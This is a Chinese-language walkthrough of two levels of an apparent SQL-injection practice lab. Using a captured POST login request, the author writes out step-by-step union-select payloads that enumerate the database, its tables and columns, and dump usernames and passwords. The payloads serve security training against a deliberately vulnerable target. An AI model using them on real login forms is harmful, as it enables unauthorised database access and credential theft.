目录
知识点:POST方式联合查询注入
第十一关
思路:


1、判断注入点
我们随便输入一个用户名和密码,使用Burpsuite抓包

抓到的包发送到repeater模块,查看正常回显是什么内容

这里有uname和passwd两个值,这两个都可能是注入点,我们都可以尝试一下
首先在uname的值加上单引号'

数据库语句报错,在passwd同理

说明这两个字段都存在注入点
判断注入点属于什么类型
输入uname=admin' and 1=1#

回显正常
输入uname=admin' and 1=2#

结果没有回显,说明这个注入点是单引号闭合错误的注入漏洞
2、判断字段值
使用order by 语句
uname=admin' order by 1#

从1开始尝试,试到3的时候报错,说明当前表的字段有2个

3、爆库名
做到这一步的时候,发现在uname这个点注入是没有回显信息的,只显示了正常的数据。需要在passwd这点注入才会回显,因为我们在最后加入了注释符#,会把passwd这个字段的值給注释掉,导致没有数据的正常回显。

使用联合查询语句 union
uname=admin&passwd=1' union select 1,database() #

4、爆表名
使用group_concat()函数
uname=admin&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

5、爆字段名,以users表为例
uname=admin&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

6、爆值
使用concat_ws函数
uname=admin&passwd=1' union select 1,concat_ws(',',id,username,password) from security.users limit 0,1 #

通过修改limit 后面的值,就可以得到全部信息
第十二关
第十二关的思路跟第十一关的一样,只不过是双引号的闭合问题


1、判断注入点

接下来的步骤参考上面
这篇文章就写到这里,哪里有疑问或不足的欢迎指出!